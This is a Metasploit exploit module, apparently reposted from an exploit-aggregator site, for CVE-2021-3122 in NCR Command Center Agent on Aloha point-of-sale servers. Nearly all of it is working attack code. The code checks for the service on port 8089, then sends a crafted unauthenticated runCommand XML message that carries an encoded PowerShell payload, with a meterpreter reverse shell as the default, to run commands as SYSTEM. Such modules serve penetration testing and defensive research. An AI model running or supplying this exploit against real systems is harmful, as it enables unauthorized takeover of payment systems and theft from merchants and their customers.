Share
## https://sploitus.com/exploit?id=PACKETSTORM:211034
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::Tcp
      include Msf::Exploit::Powershell
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'NCR Command Center Agent Remote Code Execution',
            'Description' => %q{
              CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter
              (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command
              as SYSTEM, as exploited in the wild in 2020 and/or 2021. The vendor's position is that exploitation occurs only
              on devices with a certain "misconfiguration."
            },
            'Author' => [
              'daffainfo (Muhammad Daffa)',
              'jjcho (Jericho Nathanael Chrisnanta)'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2021-3122'],
              ['URL', 'https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/'],
              ['URL', 'https://hcs-team.com/blog/cve-2021-3122/'],
            ],
            'DisclosureDate' => '2021-02-07',
            'Platform' => 'win',
            'Arch' => [ ARCH_X64, ARCH_X86 ],
            'Privileged' => true,
            'Targets' => [
              [
                'Windows',
                {
                  'Platform' => 'win',
                  'Arch' => [ ARCH_X64, ARCH_X86 ],
                  'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => []
            },
            'DefaultTarget' => 0
          )
        )
    
        register_options(
          [
            Opt::RPORT(8089)
          ]
        )
      end
    
      def check
        connect
        banner = sock.get_once
        disconnect
        if (banner.to_s =~ /<cmcsys:myNodeNumber/)
          return Exploit::CheckCode::Detected('CMCAgent detected')
        end
    
        Exploit::CheckCode::Safe('Could not detect CMCAgent')
      end
    
      def generate_xml(cmd_payload)
        workitem_id = rand(1..9)
        source_node = rand(1..9)
        exec_status = %w[Unknown Waiting InProgress].sample
        dest_server = %w[WebServer RdfServer].sample
        guid = SecureRandom.uuid
    
        xml_body = '<workitemroot commandname="runCommand">'
        xml_body << '<WorkItem>'
        xml_body << '<WorkItemId>'
        xml_body << workitem_id.to_s
        xml_body << '</WorkItemId>'
        xml_body << '<CommandName>runCommand</CommandName>'
        xml_body << '<SourceNode>'
        xml_body << source_node.to_s
        xml_body << '</SourceNode>'
        xml_body << '<TargetNode>0</TargetNode>'
        xml_body << '<Status>'
        xml_body << exec_status
        xml_body << '</Status>'
        xml_body << '</WorkItem>'
        xml_body << '<command>'
        xml_body << '<Arguments>'
        xml_body << cmd_payload
        xml_body << '</Arguments>'
        xml_body << '<Guid>'
        xml_body << guid
        xml_body << '</Guid>'
        xml_body << '<Result></Result>'
        xml_body << '<destserver>'
        xml_body << dest_server
        xml_body << '</destserver>'
        xml_body << '</command>'
        xml_body << '</workitemroot>'
        xml_body << '<:EOM:>'
    
        xml_body
      end
    
      def exploit
        connect
        print_status("Connected to #{rhost}:#{rport}") if datastore['VERBOSE']
    
        cmd_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true)
        payload_xml = generate_xml(cmd_payload)
    
        print_status('Generating payload')
    
        sock.put(payload_xml)
    
        print_status('Check your shell')
      rescue ::Rex::ConnectionError => e
        fail_with(Failure::Unreachable, "Failed to connect: #{e}")
      ensure
        disconnect
      end
    end